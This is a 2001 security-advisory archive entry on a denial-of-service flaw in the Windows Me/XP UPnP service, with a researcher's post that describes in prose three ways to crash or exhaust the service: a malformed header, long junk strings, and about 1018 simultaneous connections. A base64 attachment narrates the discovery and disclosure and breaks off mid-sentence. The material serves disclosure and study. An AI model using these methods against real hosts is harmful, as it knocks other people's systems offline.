SecurityTracker.com
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 


Category:   Application (Generic)  >   Windows UPnP (Ssdpsrv, others) Vendors:   Microsoft
(A User Provides Details) Re: Microsoft Windows Me Universal Plug and Play (UPnP) Ssdpsrv.exe Server Component Can Be Crashed by Remote Users
SecurityTracker Alert ID:  1002686
SecurityTracker URL:  http://securitytracker.com/id/1002686
CVE Reference:   CVE-2001-0721   (Links to External Site)
Date:  Nov 2 2001
Impact:   Denial of service via network


Description:   A vulnerability was reported in Ssdpsrv, a component of the Microsoft Windows Me Universal Plug and Play (UPnP) implementation. A remote user may be able to cause the Ssdpsrv service to crash.

It is reported that a remote user can connect to the Ssdpsrv port and cause the service to crash. For information from the orignal alert, see the Message History.

A user has provided details on the vulnerabilities. For the document, see the Source Message (the document is Base64 encoded). The document contains an exploit transcript as well as exploit code.

Impact:   A remote user can cause the Ssdpsrv.exe service to crash.
Solution:   No solution was available at the time of this entry.
Vendor URL:  www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/MS01-054.asp (Links to External Site)
Cause:   Exception handling error
Underlying OS:  Windows (Me), Windows (98), Windows (XP)
Underlying OS Comments:  Windows 98 and 98SE are only affected if the Internet Connection Sharing that ships with Windows XP has been installed on the host

Message History:   This archive entry is a follow-up to the message listed below.
Oct 20 2001 Microsoft Windows Me Universal Plug and Play (UPnP) Ssdpsrv.exe Server Component Can Be Crashed by Remote Users



 Source Message Contents

Subject:  Three Windows XP UPNP DOS attacks


--------------050102020900000009090403
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Below you will find a quick recap of a few denial of service exploits I
discovered against Windows XP and selected versions of WinME. Microsoft
confirmed my findings: bulletin MS01-54. The paper is a narrative and
the author hopes it will be useful for newbies and an enjoyable paper
for the experts.

Do not hesitate to contact me at the following email address:
franklin_tech_unlimited@yahoo.com . It is also listed in the paper.

- 'ken'

----------------------------------------------

Just a side note: this paper really should be named 'I still haven't
found what I'm looking for': I expected a buffer overflow.

We are attacking a server named SSDPSRV bound to port 5000 running on XP
or selected versions of WinME. This is Microsoft's UPNP server that is
installed and runs by default on WindowsXP.

In two of the three hacks we are interested in a .dll named MSVCRT.dll.
This library has a page fault that can be used to crash the application.

The first DOS is simply due to bad code. We can send the application a
specific header and it will crash the server. There is a page fault at
0197:78004a16 in MSCVRT.dll.

The second DOS is due to the way the SSDPSRV handles input. We can chew
up memory by opening a connection, sending the proper header, and then
just strings and strings of 'A's (or whatever else you like). If one
connection is made and such strings are sent we will receive a page
fault in MSVCRT.dll again. This time it is at 0197:010083fe. But, if we
open approximately 200 connections and send the proper header followed
by a string of 'A's we can deplete the system resources. Using a Pentium
II 336Mhz machine I tested a Pentium IV 1.4Ghz with 128M of memory and
took the system resources from 65% to 48% in 20 minutes. The only
problem with this method is that it takes a substantial amount of time
to send these strings over the network.

The third and final DOS is the cool one. SSDPSRV cannot handle multiple
connections well. If one opens up 1018 simultaneous connections one can
temporarily freeze the machine.  The user's keyboard and mouse input are
held in the buffer but do not appear to register. With this attack one
can sink the system resources under 4% in about a second. In a minute or
two the system corrects itself.





--------------050102020900000009090403
Content-Type: application/octet-stream;
 name="MicrosoftXP.upnp.doc"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
 filename="MicrosoftXP.upnp.doc"

0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAKwAAAAAA
AAAAEAAALAAAAAEAAAD+////AAAAACoAAAD/////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
///////////////////////////////////cpWgAY+AJBAAAAABlAAAAAAAAgAAAAAAAAwAA
MkAAANJTAAAAAAAAAAAAAAAAAAAAAAAAIz0AAAAAAAAOAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAFAAAH4CAAAAUAAAfgIAAH5SAAAAAAAAflIAAAAAAAB+UgAAAAAAAH5SAAAAAAAA
flIAABQAAACSUgAAAAAAAJJSAAAAAAAAklIAAAAAAACSUgAAAAAAAJJSAAAMAAAAnlIAAAoA
AACoUgAAKAAAAJJSAAAAAAAA7FIAAGIAAADQUgAABAAAANRSAAAWAAAA6lIAAAAAAADqUgAA
AAAAAOpSAAAAAAAA6lIAAAAAAADqUgAAAAAAAOpSAAAAAAAA6lIAAAIAAADsUgAAAAAAAOxS
AAAAAAAA7FIAAAAAAADsUgAAAAAAAOxSAAAAAAAA7FIAAAAAAABOUwAAWAAAAKZTAAAsAAAA
7FIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAflIAAAAAAADqUgAAAAAAAAAAIQAiAAEABgDqUgAA
AAAAAOpSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOpSAAAAAAAA6lIAAAAAAADsUgAAAAAAAOpS
AAAAAAAAflIAAAAAAAB+UgAAAAAAAOpSAAAAAAAAAAAAAAAAAAAAAAAAAAAAANBSAAAAAAAA
6lIAAAAAAADqUgAAAAAAAOpSAAAAAAAA6lIAAAAAAAB+UgAAAAAAAOpSAAAAAAAAflIAAAAA
AADqUgAAAAAAAOpSAAAAAAAAAAAAAAAAAAAgx/Wnf2DBAZJSAAAAAAAAklIAAAAAAAB+UgAA
AAAAAH5SAAAAAAAAflIAAAAAAAB+UgAAAAAAAOpSAAAAAAAA6lIAAAAAAADqUgAAAAAAAOpS
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABIb3cgSSBkaXNjb3ZlcmVk
LCByZXNlYXJjaGVkIGFuZCByZXBvcnRlZCBhIHNlY3VyaXR5IHZ1bG5lcmFiaWxpdHkgdG8g
TWljcm9zb2Z0Lg1CeSAna2VuJyBvZiBGVFUNZnJhbmtsaW5fdGVjaF91bmxpbWl0ZWRAeWFo
b28uY29tDURpc2NsYWltZXINCVRoaXMgcGFwZXIgaXMgZm9yIGVkdWNhdGlvbmFsIHB1cnBv
c2VzIG9ubHkuIFRoZSBhdXRob3IgYXNzdW1lcyBubyByZXNwb25zaWJpbGl0eSBmb3IgaG93
IHRoaXMgaW5mb3JtYXRpb24gaXMgdXNlZC4gVGhlIHB1cnBvc2Ugb2YgdGhlIHBhcGVyIGlz
IG5vdCAtLSBhbmQgc2hvdWxkIG5vdCBiZSB1c2VkIC0tIGZvciBjcmltaW5hbCBvciBpbGxl
Z2FsIGFjdGl2aXRpZXMuDQlUaGlzIHBhcGVyIG1heSBiZSBmcmVlbHkgZGlzdHJpYnV0ZWQg
b24gdGhlIGludGVybmV0IHVuZGVyIHRoZSBmb2xsb3dpbmcgY29uZGl0aW9uczogZmlyc3Qs
IHRoaXMgcGFwZXIgbWF5IG5vdCBiZSBhbHRlcmVkIGluIGFueSBmb3JtIGZyb20gdGhlIG9y
aWdpbmFsIGNvbnRlbnQ7IHNlY29uZCwgdGhlIHBhcGVyIG11c3QgYmUgZGlzdHJpYnV0ZWQg
aW4gd2hvbGUgYW5kIGNhbm5vdCBiZSBicm9rZW4gaW50byBzZWN0aW9ucy4NCUV4cGxpY2l0
IGNvbnNlbnQgaXMgbmVlZGVkIHRvIHB1Ymxpc2ggdGhpcyBwYXBlciBpbiBhbnkgZm9ybS4g
UGxlYXNlIGNvbnRhY3QgdGhlIGF1dGhvciBhdCB0aGUgZW1haWwgYWRkcmVzcyBhYm92ZS4N
DUludHJvDQlUaGlzIGFydGljbGUgd2lsbCBkaXNjdXNzIHRoZSBkaXNjb3ZlcnksIHRlc3Rp
bmcgYW5kIHJlcG9ydGluZyBvZiBhIHNlY3VyaXR5IHZ1bG5lcmFiaWxpdHkgdG8gYSBtYWpv
ciBVLlMuIHZlbmRvci4gSW4gdGhpcyBjYXNlIHRoZSBlZmZlY3RlZCBvcGVyYXRpbmcgc3lz
dGVtcyBhcmUgTWljcm9zb2Z0knMgV2luZG93cyBYUCAoWFApIGFuZCBjZXJ0YWluIE9FTSdz
IGRpc3RyaWJpdHV0aW9ucyBvZiBXaW5kb3dzIE1FIChXaW5NRSkgLiAgVGhlIHZ1bGVyYWJs
ZSBhcHBsaWNhdGlvbiBpcyBNaWNyb3NvZnQncyBuZXcgbmV0d29yayBVbml2ZXJzYWwgUGx1
ZyBhbmQgUGxheSBzZXJ2ZXIuIE15IGZvcm1hdCBpcyBhIHN0b3J5IGFuZCBteSBzdG9yeSBi
ZWdpbnMgYXQgbXkgZ2lybGZyaWVuZJJzIGhvdXNlIHRoaXMgcGFzdCBKdW5lLg0JV2hpbGUg
SSByZXNlYXJjaGVkIHRyb2phbnMgYW5kIE9TIGJhY2tkb29ycyBmcm9tIG15IGdpcmxmcmll
bmSScyBQQywgSSByZWFsaXplZCBoZXIgY29tcHV0ZXIgYWNjZXNzZWQgdGhlIEludGVybmV0
IHRob3VnaCBhIGNhYmxlIG1vZGVtLiBJIHJlY2VudGx5IHJlYWQgdGhhdCBjb21wdXRlcnMg
d2l0aCBhbiCTYWx3YXlzIG9ulCBjb25uZWN0aW9uIGFyZSBjb25zdGFudGx5IHByb2JlZCBm
b3Igd2Vha25lc3MuIFNpbmNlIHNoZSByYXJlbHkgcG93ZXJzIGRvd24gaGVyIFBDLCBjb3Vs
ZCBpdCBiZSB0aGF0IGhlciBjb21wdXRlciB3YXMgY29tcHJvbWlzZWQ/IFBlcmhhcHMgc29t
ZW9uZSBpbnN0YWxsZWQgc29mdHdhcmUgdGhhdCByZW1vdGVseSBjb250cm9sbGVkIHRoZSBv
cGVyYXRpbmcgc3lzdGVtIGFuZCBzaGUgcGFydGljaXBhdGVkIGluIERET1MgYXR0YWNrcyB3
aXRob3V0IGtub3dpbmcgaXQhIA0NRGlzY292ZXJ5IA0JUXVpY2tseSBJIG9wZW5lZCBhIERP
UyBwcm9tcHQgYW5kIHR5cGVkIJFuZXRzdGF0IJZhbpIgdG8gZGlzcGxheSBhbGwgbmV0d29y
ayBjb25uZWN0aW9ucyBhbmQgc2VydmljZXMgdGhhdCByYW4gb24gaGVyIG1hY2hpbmUuIEkg
bG9va2VkIGZvciBhbiBhbm9tYWx5LCBhIHJvdWdlIHNlcnZpY2UuIFNpbmNlIG15IGdpcmxm
cmllbmQgZGlkIG5vdCB1c2UgaGVyIFBDIGZvciBkZXZlbG9wbWVudCBJIHNhZmVseSBhc3N1
bWVkIGZldyBwb3J0cyB3ZXJlIG9wZW4gb24gaGVyIG1hY2hpbmUuIA0JSSB3YXMgY29ycmVj
dC4gUG9ydHMgYmVsb3cgMTAyNCB3ZXJlIG5vdCBvcGVuIGV4Y2VwdCBmb3IgdGhlIHR5cGlj
YWwgd2luZG93cyBzZXJ2aWNlcyBzdWNoIGFzIG5iZGF0YWdyYW0sIG5ibmFtZSwgYW5kIG5i
c2Vzc2lvbi4gRnJvbSBleHBlcmllbmNlIEkga25vdyB0aGUgT1MgdXN1YWxseSBtYWtlcyBh
IGZldyBsb29wIGJhY2sgY29ubmVjdGlvbnMgcmlnaHQgYWJvdmUgMTAyNC4gU28sIHRoZSBj
b25uZWN0aW9ucyBtYWRlIG9uIHBvcnRzIDEwMjUgYW5kIDEwMjYgZGlkIG5vdCBib3RoZXIg
bWUuIEJ1dCBJIG5vdGljZWQgdGhlcmUgd2FzIGEgVENQIHNlcnZpY2UgaW4gdGhlIGxpc3Rl
bmluZyBzdGF0ZSBvbiBwb3J0IDUwMDAuIFRoaXMgYXJvdXNlZCBteSBzdXNwaWNpb24uIEkg
dGVsbmV0ZWQgdG8gcG9ydCA1MDAwLCBoaXQgcmV0dXJuIGEgZmV3IHRpbWVzIGFuZCByZWNl
aXZlZCBhbiBlcnJvciBtZXNzYWdlOiCTSFRUUC8xLjEgNDAwIEJhZCBSZXF1ZXN0LpQgVGhl
IHNlcnZpY2Ugb24gcG9ydCA1MDAwIHNwb2tlIHVzaW5nIHRoZSBIVFRQIHByb3RvY29scy4g
V2hhdCB3YXMgdGhpcyBzZXJ2aWNlPyBXYXMgdGhlIG1hY2hpbmUgY29tcHJvbWlzZWQ/IEFu
ZCBpZiBzbywgd2hvIGNvbXByb21pc2VkIGl0Pw0JTXkgYmxvb2QgcHJlc3N1cmUgcm9zZTog
SSBuZWVkZWQgbW9yZSBpbmZvcm1hdGlvbi4gV2hhdCBwcm9ncmFtIGJvdW5kIGl0c2VsZiB0
byBwb3J0IDUwMDAgYW5kIHdhaXRlZCBmb3IgYW4gaW5jb21pbmcgcmVxdWVzdD8gSSBrbm93
IG9mIGEgcHJvZ3JhbSB0aGF0IG1hcHMgcG9ydHMgdG8gcHJvY2Vzc2VzIGZvciBXaW5kb3dz
IE5UIGFuZCBXaW5kb3dzIDIwMDAgQWR2YW5jZWQgU2VydmVyIGFuZCBXaW5kb3dzIDIwMDAg
UHJvZmVzc2lvbmFsLCBidXQgbm90IGZvciBXaW5NRS4gTHVja2lseSBJIGZvdW5kIGEgc29s
dXRpb24uIEkgaW5zdGFsbGVkIGEgcGVyc29uYWwgZmlyZXdhbGwgb24gaGVyIGNvbXB1dGVy
IGFuZCBtYW51YWxseSBjb25uZWN0ZWQgdG8gcG9ydCA1MDAwIHVzaW5nIHRlbG5ldC4gQmlu
Z28hIFRoZSBmaXJld2FsbCByZXBvcnRlZCB0aGF0IEkgcmVxdWVzdGVkIGEgY29ubmVjdGlv
biB0byBhIHByb2dyYW0gbmFtZWQgU1NEUFNSVi5leGUuIFVzaW5nIJFGaW5kkiBJIGxvY2F0
ZWQgdGhlIGJpbmFyeSwgcmlnaHQgY2xpY2tlZCBvbiB0aGUgZXhlY3V0YWJsZSwgc2VsZWN0
ZWQgcHJvcGVydGllcyBhbmQgY2xpY2tlZCBvbiB0aGUgVmVyc2lvbiB0YWIuIExvdyBhbmQg
YmVob2xkIHRoZSBhcHBsaWNhdGlvbiB3YXMgd3JpdHRlZCBieSBNaWNyb3NvZnQuIFRvIHZl
cmlmeSB0aGlzIEkgc3VyZmVkIG92ZXIgdG8gTWljcm9zb2Z0knMgd2Vic2l0ZS4gQWZ0ZXIg
SSBzZWFyY2hlZCBhIGJpdCBJIHZlcmlmaWVkIHRoYXQgdGhlIHByb2dyYW0gd2FzIHRydWx5
IHdyaXR0ZW4gYnkgTWljcm9zb2Z0LiANU2luY2UgbW9yZSBwcmVsaW1pbmFyeSByZXNlYXJj
aCB3YXMgbmVjZXNzYXJ5LCBJIHN0b3BwZWQgYXQgbXkgcGFyZW50knMgaG91c2UgYW5kIG5l
dHN0YXSSZWQgdGhlaXIgbmV3IFdpbk1FIGJveC4gVGhleSB0b28gcmFuIHRoaXMgc2Vydmlj
ZS4gQXQgdGhpcyBwb2ludCBJIGNvbmNsdWRlZCB0aGF0IG15IGdpcmxmcmllbmSScyBjb21w
dXRlciB3YXMgcHJvYmFibHkgbm90IGNvbXByb21pc2VkIHNpbmNlIG15IHBhcmVudHMgcmFu
IHRoZSBzYW1lIE1pY3Jvc29mdCBzZXJ2aWNlLiBQbHVzLCB0aGUgZmFjdCB0aGF0IG15IHBh
cmVudHMgZG8gbm90IGhhdmUgYW4gk2Fsd2F5cyBvbpQgY29ubmVjdGlvbiBhZGRlZCBleHRy
YSByZWFzc3VyYW5jZS4gQSBmZXcgcXVlc3Rpb25zIG5vdyBzdXJmYWNlZDogZmlyc3QsIHdo
YXQgd2FzIHRoaXMgc2VydmljZT8gSG93IGRpZCBvbmUgY29tbXVuaWNhdGUgd2l0aCBpdD8g
IFNlY29uZCwgd2hhdCB3ZXJlIHRoZSBvZGRzIHRoYXQgdGhpcyBuZXcgc2VydmVyIGFsc28g
aGFkIHZ1bG5lcmFiaWxpdGllcz8gVGhpcmQsIHdoYXQgd2FzIHRoZSBzY29wZSBvZiB0aGUg
cHJvYmxlbSBzaG91bGQgYSB2dWxuZXJhYmlsaXR5IGJlIGZvdW5kPyBJIGFscmVhZHkgZGlz
Y292ZXJlZCB0d28gUENzIHJ1bm5pbmcgdGhlIHNlcnZpY2UuIElmIHRoaXMgd2FzIGEgbmV3
IHBhcnQgb2YgdGhlIE9TLCBob3cgbWFueSBXaW5NRSBib3hlcyB3ZXJlIHZ1bG5lcmFibGU/
IA0NUmVzZWFyY2gNCUkgc3VyZmVkIGJhY2sgdG8gTWljcm9zb2Z0knMgV2Vic2l0ZSBmb3Ig
bW9yZSBpbmZvcm1hdGlvbi4gTWljcm9zb2Z0IHByb3ZpZGVkIGZldyBjbHVlcyB0byB0aGUg
cHJvZHVjdC4gSW5pdGlhbGx5IEkgZm91bmQgYSBwYWdlIG9yIHR3byB0aGF0IGxpc3RlZCwg
YnV0IGRpZCBub3QgZXhwbGFpbiwgdGhlIGZpbGVzIGFzc29jaWF0ZWQgd2l0aCBwcm9ncmFt
IFNTRFBTUlZleGUuIEkgYWxzbyBsZWFybmVkIHRoYXQgU1NEUFNSVi5leGUgaXMgTWljcm9z
b2Z0knMgVW5pdmVyc2FsIFBsdWcgYW5kIFBsYXkgdGVjaG5vbG9neSBhcHBsaWVkIHRvIGEg
bmV0d29yay4gSW4gdGhlIGZ1dHVyZSB0aGlzIHdpbGwgYWxsb3cgZm9yIHNlZW1sZXNzIGNv
bm5lY3Rpdml0eSBvZiB2YXJpb3VzIGRldmljZXMgc3VjaCBhcyBhIHByaW50ZXIgb3IgYSBu
ZXR3b3JrIENEIGJ1cm5lciB3aXRob3V0IHRoZSBuZWVkIHRvIGluc3RhbGwgYSBkcml2ZXIu
IFNvIEkgc2VhcmNoZWQgbW9yZSBhbmQgZm91bmQgb25seSBvbmUgdGVjaG5pY2FsIGRvY3Vt
ZW50IHJlbGF0aW5nIHRvIFVQTlAuIEl0IHdhcyBlbm91Z2ghIEZyb20gdGhpcyBkb2N1bWVu
dCBJIGxlYXJuZWQgaG93IHRvIHF1ZXJ5IHRoZSBzZXJ2ZXIgYW5kIGV4dHJhY3QgaW5mb3Jt
YXRpb24uIEluIGZhY3QgdGhlIHNlcnZlciBpcyBkZXNpZ25lZCB0byBnaXZlIGF3YXkgaW5m
b3JtYXRpb24gLS0gc3VjaCBhcyB0aGUgZGV2aWNlcyBhbmQgc2VydmljZXMgZW5hYmxlZCBv
biB0aGUgbWFjaGluZSAtLSB3aGVuIHJlcXVlc3RlZC4gTXkgZmlyc3QgY2hhbGxlbmdlIHBy
ZXNlbnRlZCBpdHNlbGY6IEkgd291bGQgc2ltcGx5IHdyaXRlIGEgcHJvZ3JhbSB0byBjb21t
dW5pY2F0ZSB3aXRoIHRoZSBzZXJ2ZXIgYW5kIGV4dHJhY3QgaW5mb3JtYXRpb24uIExvb2tp
bmcgZm9yd2FyZCwgSSBwbGFubmVkIHRvIGNyZWF0ZSBhIHN1aXRlIG9mIHV0aWxpdGllcyB0
byB0ZXN0IHRoZSBmdWxsIGZ1bmN0aW9uYWxpdHkgb2YgdGhlIHNlcnZlciBhcyBkZWZpbmVk
IGluIHRoZSBzcGVjaWZpY2F0aW9uLiBJIGRpZCBub3QgZ2V0IHRoYXQgZmFyLg0JQWZ0ZXIg
SSBjcmVhdGVkIGEgc2ltcGxlIHByb2dyYW0gdG8gZW51bWVyYXRlIGFsbCB0aGUgZGV2aWNl
cyBvbiB0aGUgbWFjaGluZSwgSSBwdWxsZWQgb3V0IG15IDEwLzEwMCBFdGhlcm5ldCBodWIs
IGNvbm5lY3RlZCBteSB0cnVzdHkgMzM2TWh6IExpbnV4IGxhcHRvcCB0byBteSBwYXJlbnRz
IDEuNEdoeiBXaW5NRSBib3ggYW5kIG1hZGUgdGhlIG5lY2Vzc2FyeSBjb25maWd1cmF0aW9u
cy4gSSBuYXZpZ2F0ZWQgdG8gbXkgcmVjZW50bHkgY29tcGxpZWQgcHJvZ3JhbTsgcmFwaWRs
eSB0eXBlZCB0aGUgcGFyYW1ldGVycyBhbmQgaGl0IGVudGVyIHRvIHNlbmQgdGhlIHJlcXVl
c3QuIENyYXNoISBJIGNyYXNoZWQgTWljcm9zb2Z0knMgc2VydmVyISBJdCBkaWRuknQgZXZl
biBsaXZlIHVwIHRvIHRoZSBzcGVjaWZpY2F0aW9ucyB0aGV5IGRldmVsb3BlZC4gQXQgdGhp
cyBwb2ludCBJIHJlYWxpemVkIHR3byB0aGluZ3M6IGZpcnN0LCBJIGp1c3QgZGlzY292ZXJl
ZCBhIERPUyBhdHRhY2suIFNlY29uZCwgdGhlIGFwcGxpY2F0aW9uIHByb2JhYmx5IGhhZCBt
b3JlIGJ1Z3MuIA0JV2hhdCBpcyB0aGUgdWx0aW1hdGUgYnVnIGxlYWRpbmcgdG8gYSBjb21w
cm9taXNlPyBBIGJ1ZmZlciBvdmVyZmxvdyEgU2luY2UgV2luTUUgaXMgYSBzaW5nbGUgdXNl
ciBzeXN0ZW0gYXJiaXRyYXJ5IGNvZGUgd2lsbCBydW4gYXMgcm9vdCEgU28sIHRoYXSScyB3
aGF0IEkgZGVjaWRlZCB0byB0ZXN0IG5leHQuIEkgcHVtcGVkIHRoZSBzZXJ2ZXIgZnVsbCBv
ZiCRQZIgYW5kIGhvcGVkIHRoZSBhcHBsaWNhdGlvbiB3b3VsZCBjcmFzaCB3aXRoIEVJUCBl
cXVhbGluZyCRNDE0MTQxNDGSLiBUaGUgYXBwbGljYXRpb24gY3Jhc2hlZCBidXQgbm90IGR1
ZSB0byBhbiBvdmVyZmxvdy4gSSBhbHNvIG5vdGVkIGF0IHRoaXMgcG9pbnQgdGhhdCBteSBs
aXR0bGUgMzM2TWh6IGxhcHRvcCBjb3VsZCBjaGV3IHVwIDI1JSBvZiB0aGUgYXZhaWxhYmxl
IHJlc291cmNlcyBvZiBhIDEuNEdoeiBtYWNoaW5lIGJlZm9yZSB0aGUgYXBwbGljYXRpb24g
Y3Jhc2hlZCBhZ2Fpbi4gQWxhcywgSSBkaWQgbm90IHNlY3VyZSBFSVAgYnV0IEkgZm91bmQg
bXkgc2Vjb25kIERPUy4NQXQgdGhpcyBwb2ludCBJIHdvbmRlcmVkIHdoYXQgZWxzZSBtaWdo
dCBiZSB3cm9uZyB3aXRoIHRoZSBhcHBsaWNhdGlvbi4gU2luY2UgdGhpcyBhcHBsaWNhdGlv
biB3YXMgYSBzZXJ2ZXIgaXQgd2FzIG5hdHVyYWwgdG8gYXNrIGlmIHRoaXMgc2VydmVyIGhh
ZCBhIGxpbWl0YXRpb24gb24gdGhlIG51bWJlciBvZiBjb25jdXJyZW50IGNvbm5lY3Rpb25z
PyBIb3cgbWFueSB0b3RhbCBvcGVuIGNvbm5lY3Rpb25zIGNvdWxkIHRoZSBzZXJ2ZXIgaGFu
ZGxlIGF0IG9uY2U/IA1JIHRoZW4gcmV2aXNlZCBteSBwcm9ncmFtIGZvciB0aGUgdGhpcmQg
dGltZSB0byBtYWtlIGFzIG1hbnkgc2ltdWx0YW5lb3VzIG9wZW4gY29ubmVjdGlvbnMgYXMg
cG9zc2libGUuIFdlbGwsIEkgbWFkZSBhYm91dCAxMDAwIG9wZW4gY29ubmVjdGlvbnMgYXQg
b25jZS4gSSBmb3VuZCBJIGNvdWxkIGtub2NrIHRoZSBmcmVlIG1lbW9yeSB0byBiZWxvdyA0
JSBpbiBhcHByb3hpbWF0ZWx5IGhhbGYgYSBzZWNvbmQuIE15IHRoaXJkIFdpbk1FIERPUyB3
YXMgYXMgc3dlZXQgYXMgaG9uZXkuDQlJIGRlY2lkZWQgdG8gZW5kIG15IHJlc2VhcmNoIGFu
ZCBjb250YWN0IE1pY3Jvc29mdC4gSSBrbmV3IEkgZm91bmQgYXQgbGVhc3QgdHdvIGV4cGxv
aXRzIGJlY2F1c2UgSSBjb3VsZCBjcmFzaCB0aGUgYXBwbGljYXRpb24gYW5kIGRyYWluIHRo
ZSBzeXN0ZW0ncyBtZW1vcnkuIA0NQ29udGFjdGluZyBNaWNyb3NvZnQNQmFzZWQgb24gbXkg
cmVzZWFyY2ggSSBjcmVhdGVkIGEgdGVjaG5pY2FsIHBhcGVyIHdpdGggbXkgdGhyZWUgRE9T
IGZpbmRpbmdzLiBUaGVuIEkgZW1haWxlZCB0aGUgcGFwZXIgYW5kIHRoZSBwcm9ncmFtIHRv
IE1pY3Jvc29mdCBmb3IgdmVyaWZpY2F0aW9uLiBNaWNyb3NvZnQgYW5kIEkgZXhjaGFuZ2Vk
IGVtYWlscyBmb3Igb3ZlciBhcHByb3hpbWF0ZWx5IHRocmVlIG1vbnRocy4gSGVyZSBpcyBh
IHJvdWdoIGFjY291bnQgb2YgdGhlIGV4Y2hhbmdlLiANCUkgZmlyc3QgZW1haWxlZCBNaWNy
b3NvZnQgQXVndXN0IDE1LCAyMDAxLiBUaGV5IGFzc2lnbmVkIG1lIGEgY2FzZSBudW1iZXIg
YW5kIHNlbnQgbXkgcmVwb3J0IHRvIHRoZSBXaW5NRSBzZWN1cml0eSB0ZWFtLiBNaWNyb3Nv
ZnQgZGlkIG5vdCByZXBseSB3aXRoIGEgc3RhdHVzIHNvIEkgc2VudCBhbiBlbWFpbCBBdWd1
c3QgMjcsIDIwMDEgYXNraW5nIGZvciB0aGVpciBmaW5kaW5ncy4gQXQgdGhpcyBwb2ludCB0
aGV5IGRpZCBub3QgY29uZmlybSBteSByZXBvcnQgYnV0IHN0YXRlZCB0aGF0IHRoZWlyIJNp
bnZlc3RpZ2F0aW9uIGlzIHN0aWxsIG9uZ29pbmculCBUaGV5IHdlcmUgY2hlY2tpbmcgdG8g
ZGV0ZXJtaW5lIHRoZSBzY29wZSBvZiB0aGUgcHJvYmxlbSBhbmQgd2hldGhlciBvciBub3Qg
T0VNcyB3ZXJlIGRpc3RyaWJ1dGluZyB0aGUgc2VydmVyIGVuYWJsZWQgYnkgZGVmYXVsdC4g
VGhleSBzYWlkLCCTQWxtb3N0IG5vYm9keSBoYXMgaXQgdHVybmVkIG9uLpQgDU5vYm9keT8g
V2VsbCwgSSB0aGVuIHJlcG9ydGVkIHRvIE1pY3Jvc29mdCB0aGF0IGJvdGggbXkgcGFyZW50
cyBhbmQgbXkgZ2lybGZyaWVuZCBwdXJjaGFzZWQgdGhlIHNhbWUgT0VNJ3MgY29tcHV0ZXIg
b3ZlciB0aGUgY291cnNlIG9mIGEgeWVhci4gVGhpcyB0aWRiaXQgb2YgaW5mb3JtYXRpb24g
YXBwZWFyZWQgdG8gc3Bhcmsgc29tZXRoaW5nIGJlY2F1c2UgdGhlIG5leHQgZW1haWwgZnJv
bSBNaWNyb3NvZnQgcmVhZDogk1dlknJlIGhhdmluZyB0byBmaW5kIGFuZCBjb250YWN0IHRo
ZSBjb25maWd1cmF0aW9uIG1hbmFnZXJzIGZvciBlYWNoIHZlbmRvciwgYW5kIHRoZW4gY29u
dmluY2UgdGhlbSB0byB0cmVhdCB0aGlzIGFzIGEgcHJpb3JpdHkuIEFzIGEgcmVzdWx0LCBb
cHJvZ3Jlc3NdIGlzIHRha2luZyBsb25nZXIgdGhhbiB3ZSBoYWQgZXhwZWN0ZWQulCBQZXJo
YXBzIHRoaXMgdHJpZ2dlcmVkIHNvbWUgdGVuc2lvbiBiZXR3ZWVuIHRoZSB0d28gdmVuZG9y
cz8gVGhlIG5leHQgc2V0IG9mIGVtYWlscyBpbiBlYXJseSBTZXB0ZW1iZXIgb2ZmaWNpYWxs
eSBjb25maXJtZWQgdGhlIFdpbk1FIFVQTlAgdnVsbmVyYWJpbGl0eSBhbmQgZXh0ZW5kZWQg
dGhlIHNjb3BlIG9mIHRoZSBwcm9ibGVtIGludG8gdGhlaXIgbmV3IFhQIG9wZXJhdGluZyBz
eXN0ZW0hIA0JTWljcm9zb2Z0IG9mZmVyZWQgbWUgdGhlIHBvc3NpYmlsaXR5IHRvIHRlc3Qg
dGhlIHBhdGNoIGZvciB0aGUgV2luTUUgYW5kIFhQIHZ1bG5lcmFiaWxpdGllcy4gSSB0aG91
Z2h0IGl0IHdhcyByZWFsbHkgZ3JlYXQgdG8gYmUgdGhlIG9ubHkgb25lIGluIHRoZSB3b3Js
ZCB3aXRoIHRoZSBuZXcgc29mdHdhcmU7IHNvIEkgYWdyZWVkLiBUaGUgcHJvYmxlbXMgSSBy
ZXBvcnRlZCB3ZXJlIGZpeGVkLiBJIGJlbGlldmVkIHRoZXJlIHdlcmUgbW9yZSBlcnJvcnMg
aW4gdGhlIGNvZGUsIGJ1dCBhdCB0aGF0IHBvaW50IEkgZGlkIG5vdCBwb3Nlc3MgdGhlIHV0
aWxpdGllcyB0byB0ZXN0IG15IHRoZW9yaWVzLiBTbywgSSBndWVzcyBJIHNoYWxsIHdhaXQg
YSBiaXQgdG8gcmVwb3J0IGFueXRoaW5nIG5ldyBhcyBJIGJ1aWxkIG15IFVQTlAgdG9vbHMu
DQlNaWNyb3NvZnQgd2lsbCBpbmNvcnBvcmF0ZSB0aGUgZml4ZXMgaW50byBhIFhQIHBhdGNo
IHRvIGJlIHJlbGVhc2VkIGluIGxhdGUgT2N0b2JlciwgMjAwMS4gQSBzZWN1cml0eSBidWxs
ZXRpbiBjcmVkaXRpbmcgbWUgd2l0aCB0aGUgZmluZCBzaG91bGQgYmUgcmVsZWFzZWQgYWZ0
ZXIgdGhlIFhQIHBhdGNoLiBUaGUgYnVsbGV0aW4gbnVtYmVyOiBNUzAxLTU0Lg0NRGlzYWJs
aW5nIHRoZSBTZXJ2aWNlDQlGb3IgdGhvc2Ugd2hvIG93biBhIGNvbXB1dGVyIHJ1bm5pbmcg
